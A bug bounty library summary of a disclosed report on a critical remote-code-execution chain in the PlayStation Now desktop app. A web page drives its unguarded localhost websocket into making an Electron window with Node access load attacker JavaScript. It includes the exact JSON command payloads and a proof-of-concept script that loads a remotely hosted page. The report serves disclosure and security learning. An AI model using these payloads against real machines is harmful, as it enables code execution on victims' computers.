# Websites Can Run Arbitrary Code on Machines Running the 'PlayStation Now' Application

Any website in any browser can reach PlayStation Now's localhost:1235 websocket, command the Electron AGL app to load attacker JS with nodeIntegration enabled, achieving RCE.

- Payout: $15,000
- Severity: critical
- Program: PlayStation
- Found by: parsiya
- Disclosed: 2020-12-04
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/873614
- Library page: https://bugbountylibrary.com/r/h1%3A873614
- Tags: area:os domain:desktop impact:ato impact:rce kind:bounty platform:hackerone sev:critical tech:electron tech:websocket technique:chained technique:source-review vuln:rce

**Target:** PlayStation Now desktop app (QAS psnowlauncher.exe + AGL Electron app) local websocket server on localhost:1235
**Root cause:** Local websocket server on port 1235 lacks Origin validation, and the AGL Electron BrowserWindow runs with nodeIntegration:true while accepting arbitrary setUrl/setUrlDefaultBrowser commands, letting any web page drive it to load attacker-controlled JS.
**Steps:**
1. Install/run PlayStation Now 11.0.2 (psnowlauncher.exe) on Windows; it spawns AGL Electron app and opens ws://localhost:1235.
2. Host payload HTML that calls `require('child_process').exec('calc')`.
3. From any browser on same machine, open attacker page that connects to `ws://localhost:1235/`.
4. Send `{"command":"setUrl","params":{"url":"https://attacker/node.html"},"source":"QAS","target":"AGL"}`.
5. AGL loads the URL; nodeIntegration executes the JS and spawns calc.
6. Alternative: send `{"command":"setUrlDefaultBrowser","params":{"url":"file:///c:/windows/system32/calc.exe"},"source":"QAS","target":"AGL"}`.
**How found:** Enumerated psnow processes with procmon/netstat, noticed local websocket on 1235, proxied traffic via Burp to inspect JSON commands, found setUrl and setUrlDefaultBrowser in app.asar commandHandler, then swapped source/target to redirect commands at AGL and tested nodeIntegration by loading a remote HTML payload.
**Exploitation:** Attacker lures victim (with psnow running, often minimized to tray) to a malicious webpage in any browser. Page opens a WebSocket to localhost:1235 (no Origin check, WebSockets bypass SOP) and sends a setUrl command targeting AGL, causing the Electron app to load attacker-hosted HTML. Because nodeIntegration is true, that HTML runs Node code and spawns arbitrary processes. setUrlDefaultBrowser with a file:// URL to an executable is an alternate path via shell.openExternal.
**Escalation:** Chained three separate weaknesses: missing Origin check on local websocket, unauthenticated setUrl command to AGL, and nodeIntegration:true in Electron, turning a same-machine web page into full RCE.
**Insight:** When auditing desktop apps with local websocket/IPC servers, proxy the traffic and grep the Electron app.asar for commandHandler to enumerate commands; then try swapping source/target fields and pointing commands at the Electron renderer, since nodeIntegration:true turns any URL load into RCE.

## Proof of concept (copied exactly from the original report)

**Websocket payload telling AGL to load malicious URL**

```
{"command":"setUrl","params":{"url":"https://example.net"},"source":"QAS","target":"AGL"}
```

**setUrlDefaultBrowser payload launching calc.exe**

```
{"command":"setUrlDefaultBrowser","params":{"url":"file:///c:/windows/system32/calc.exe"},"source":"QAS","target":"AGL"}
```

**PoC JS connecting to localhost websocket and sending payload**

```
let url = 'ws://localhost:1235/'

let socket = new WebSocket(url);

let payload = '{"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}';

// send the payload when the socket is opened.
socket.onopen = function(event) {
  showMessage('before payload');
  socket.send(payload);
  showMessage('after payload');
};
```

